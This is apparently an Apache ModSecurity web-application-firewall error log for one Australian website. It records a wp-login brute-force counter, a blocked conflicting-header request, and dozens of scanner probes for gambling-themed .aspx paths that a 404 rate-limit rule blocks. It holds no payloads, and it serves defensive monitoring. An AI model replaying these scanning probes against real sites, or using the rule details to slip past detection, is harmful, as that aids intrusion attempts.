[Sun Mar 15 16:13:18.623892 2026] [:error] [pid 38645:tid 38653] [client 104.234.53.72:48623] [client 104.234.53.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.72, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abZqHhFPHtsDUuVrWDZkmwAAAMY"]
[Sun Mar 15 16:40:54.705041 2026] [:error] [pid 38536:tid 38561] [client 43.156.156.96:60508] [client 43.156.156.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abZwlvpTEqkVJ0rBEWv86QAAAAg"]
[Sun Mar 15 16:42:52.911311 2026] [:error] [pid 38541:tid 38629] [client 51.75.119.229:39742] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abZxDHuOpex8jIO0jt5_pQAAAJA"]
[Sun Mar 15 16:42:55.269408 2026] [:error] [pid 9995:tid 10004] [client 51.75.119.229:53806] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abZxDwa8xkcaSmgTbwhkPgAAAQY"]
[Sun Mar 15 16:47:55.875732 2026] [:error] [pid 50986:tid 50993] [client 145.239.65.226:47660] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abZyOyknK4c779bcQqGEdAAAAUU"]
[Sun Mar 15 16:47:58.454335 2026] [:error] [pid 38645:tid 38668] [client 145.239.65.226:53336] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abZyPhFPHtsDUuVrWDZsZAAAANU"]
[Sun Mar 15 16:48:01.052868 2026] [:error] [pid 45974:tid 45995] [client 145.239.65.226:53338] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abZyQRWn4R6u72Segeio2AAAAhM"]
[Sun Mar 15 16:48:03.457163 2026] [:error] [pid 50986:tid 51001] [client 145.239.65.226:52858] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abZyQyknK4c779bcQqGEhgAAAUw"]
[Sun Mar 15 16:48:05.944877 2026] [:error] [pid 45974:tid 45981] [client 145.239.65.226:52860] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abZyRRWn4R6u72Segeio3wAAAgU"]
[Sun Mar 15 16:48:08.384833 2026] [:error] [pid 50986:tid 50988] [client 145.239.65.226:52862] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "abZySCknK4c779bcQqGElAAAAUA"]
[Sun Mar 15 16:48:10.748789 2026] [:error] [pid 38536:tid 38557] [client 145.239.65.226:52866] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abZySvpTEqkVJ0rBEWv9ggAAAAQ"]
[Sun Mar 15 16:48:13.153040 2026] [:error] [pid 45801:tid 45811] [client 145.239.65.226:54936] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abZyTYaKHL9CTKoVzTAVzQAAAcg"]
[Sun Mar 15 16:48:15.568898 2026] [:error] [pid 45801:tid 45822] [client 145.239.65.226:54946] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abZyT4aKHL9CTKoVzTAV1wAAAdM"]
[Sun Mar 15 16:48:17.947595 2026] [:error] [pid 45801:tid 45819] [client 145.239.65.226:54962] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abZyUYaKHL9CTKoVzTAV3AAAAdA"]
[Sun Mar 15 16:48:20.344532 2026] [:error] [pid 45974:tid 45990] [client 145.239.65.226:54972] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abZyVBWn4R6u72Segeio8gAAAg4"]
[Sun Mar 15 16:48:22.993611 2026] [:error] [pid 45974:tid 45997] [client 145.239.65.226:39100] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "abZyVhWn4R6u72Segeio-gAAAhU"]
[Sun Mar 15 16:48:25.624612 2026] [:error] [pid 38536:tid 38554] [client 145.239.65.226:39102] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abZyWfpTEqkVJ0rBEWv9hwAAAAE"]
[Sun Mar 15 16:48:28.241502 2026] [:error] [pid 50986:tid 50989] [client 145.239.65.226:39118] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abZyXCknK4c779bcQqGEqQAAAUE"]
[Sun Mar 15 16:48:30.677371 2026] [:error] [pid 42570:tid 42584] [client 145.239.65.226:39134] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abZyXsIUXZJLmk_gYCPyzAAAAYs"]
[Sun Mar 15 16:48:32.992510 2026] [:error] [pid 45801:tid 45803] [client 145.239.65.226:48152] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abZyYIaKHL9CTKoVzTAV9wAAAcA"]
[Sun Mar 15 16:48:35.317296 2026] [:error] [pid 45801:tid 45824] [client 145.239.65.226:48160] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "abZyY4aKHL9CTKoVzTAWAgAAAdU"]
[Sun Mar 15 16:48:37.789174 2026] [:error] [pid 45801:tid 45825] [client 145.239.65.226:48174] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "abZyZYaKHL9CTKoVzTAWBgAAAdY"]
[Sun Mar 15 16:48:40.249499 2026] [:error] [pid 50986:tid 50991] [client 145.239.65.226:48178] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "abZyaCknK4c779bcQqGExQAAAUM"]
[Sun Mar 15 16:48:42.895411 2026] [:error] [pid 38645:tid 38659] [client 145.239.65.226:50866] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "abZyahFPHtsDUuVrWDZsiQAAAMw"]
[Sun Mar 15 16:48:45.217137 2026] [:error] [pid 38536:tid 38575] [client 145.239.65.226:50878] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "abZybfpTEqkVJ0rBEWv9jgAAABY"]
[Sun Mar 15 16:48:47.522546 2026] [:error] [pid 50986:tid 50994] [client 145.239.65.226:50884] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abZybyknK4c779bcQqGE3QAAAUY"]
[Sun Mar 15 16:48:50.012098 2026] [:error] [pid 50986:tid 51011] [client 145.239.65.226:50900] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abZyciknK4c779bcQqGE5QAAAVY"]
[Sun Mar 15 16:48:52.642737 2026] [:error] [pid 38645:tid 38660] [client 145.239.65.226:47128] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "abZydBFPHtsDUuVrWDZsjgAAAM0"]
[Sun Mar 15 16:49:13.532357 2026] [:error] [pid 45801:tid 45817] [client 145.239.65.226:47132] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abZyiYaKHL9CTKoVzTAWRAAAAc4"]
[Sun Mar 15 16:49:16.015381 2026] [:error] [pid 42570:tid 42597] [client 145.239.65.226:53456] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abZyjMIUXZJLmk_gYCPy3gAAAZg"]
[Sun Mar 15 16:49:18.417269 2026] [:error] [pid 50986:tid 50998] [client 145.239.65.226:53458] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "abZyjiknK4c779bcQqGFEQAAAUk"]
[Sun Mar 15 16:49:20.957715 2026] [:error] [pid 38540:tid 38586] [client 145.239.65.226:53470] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abZykF8bnHsJ1dE90bJgIAAAAEA"]
[Sun Mar 15 16:49:23.487463 2026] [:error] [pid 38541:tid 38623] [client 145.239.65.226:49686] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abZyk3uOpex8jIO0jt6ARQAAAIo"]
[Sun Mar 15 16:49:25.993820 2026] [:error] [pid 45974:tid 46000] [client 145.239.65.226:49698] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abZylRWn4R6u72SegeipJwAAAhg"]
[Sun Mar 15 16:49:28.404310 2026] [:error] [pid 9995:tid 10022] [client 145.239.65.226:49712] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "abZymAa8xkcaSmgTbwhkzQAAARg"]
[Sun Mar 15 16:49:30.794133 2026] [:error] [pid 38536:tid 38574] [client 145.239.65.226:49716] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abZymvpTEqkVJ0rBEWv9nwAAABU"]
[Sun Mar 15 16:49:33.221845 2026] [:error] [pid 38540:tid 38594] [client 145.239.65.226:53096] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abZynV8bnHsJ1dE90bJgLAAAAEg"]
[Sun Mar 15 16:49:35.655912 2026] [:error] [pid 38541:tid 38615] [client 145.239.65.226:53102] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "abZyn3uOpex8jIO0jt6ATAAAAII"]
[Sun Mar 15 16:49:38.056779 2026] [:error] [pid 45974:tid 45987] [client 145.239.65.226:53110] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abZyohWn4R6u72SegeipMAAAAgs"]
[Sun Mar 15 16:49:40.467888 2026] [:error] [pid 45801:tid 45807] [client 145.239.65.226:53126] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abZypIaKHL9CTKoVzTAWbAAAAcQ"]
[Sun Mar 15 16:49:43.020980 2026] [:error] [pid 38645:tid 38665] [client 145.239.65.226:39728] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abZypxFPHtsDUuVrWDZswwAAANI"]
[Sun Mar 15 16:49:45.596574 2026] [:error] [pid 38645:tid 38652] [client 145.239.65.226:39744] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abZyqRFPHtsDUuVrWDZsygAAAMU"]
[Sun Mar 15 16:49:48.147630 2026] [:error] [pid 38540:tid 38596] [client 145.239.65.226:39758] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abZyrF8bnHsJ1dE90bJgMwAAAEo"]
[Sun Mar 15 16:49:50.515635 2026] [:error] [pid 38540:tid 38610] [client 145.239.65.226:39768] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abZyrl8bnHsJ1dE90bJgNgAAAFg"]
[Sun Mar 15 16:49:53.030967 2026] [:error] [pid 38645:tid 38671] [client 145.239.65.226:41732] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abZysRFPHtsDUuVrWDZs1AAAANg"]
[Sun Mar 15 16:49:55.560050 2026] [:error] [pid 38540:tid 38588] [client 145.239.65.226:41746] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abZys18bnHsJ1dE90bJgNwAAAEI"]
[Sun Mar 15 16:49:57.938085 2026] [:error] [pid 45974:tid 46000] [client 145.239.65.226:41748] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abZytRWn4R6u72SegeipPAAAAhg"]
[Sun Mar 15 16:50:00.455996 2026] [:error] [pid 38645:tid 38652] [client 145.239.65.226:41750] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abZyuBFPHtsDUuVrWDZs3QAAAMU"]
[Sun Mar 15 16:50:02.974887 2026] [:error] [pid 50986:tid 51012] [client 145.239.65.226:42548] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "abZyuiknK4c779bcQqGFQgAAAVc"]
[Sun Mar 15 16:50:05.490993 2026] [:error] [pid 50986:tid 50993] [client 145.239.65.226:42556] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "abZyvSknK4c779bcQqGFWwAAAUU"]
[Sun Mar 15 16:50:08.006029 2026] [:error] [pid 45801:tid 45822] [client 145.239.65.226:42560] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "abZywIaKHL9CTKoVzTAWjgAAAdM"]
[Sun Mar 15 16:50:10.531068 2026] [:error] [pid 45801:tid 45807] [client 145.239.65.226:42564] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abZywoaKHL9CTKoVzTAWlAAAAcQ"]
[Sun Mar 15 16:50:31.286499 2026] [:error] [pid 45974:tid 45997] [client 145.239.65.226:36898] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abZy1xWn4R6u72SegeipZgAAAhU"]
[Sun Mar 15 16:50:33.615842 2026] [:error] [pid 38645:tid 38668] [client 145.239.65.226:37396] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abZy2RFPHtsDUuVrWDZtAQAAANU"]
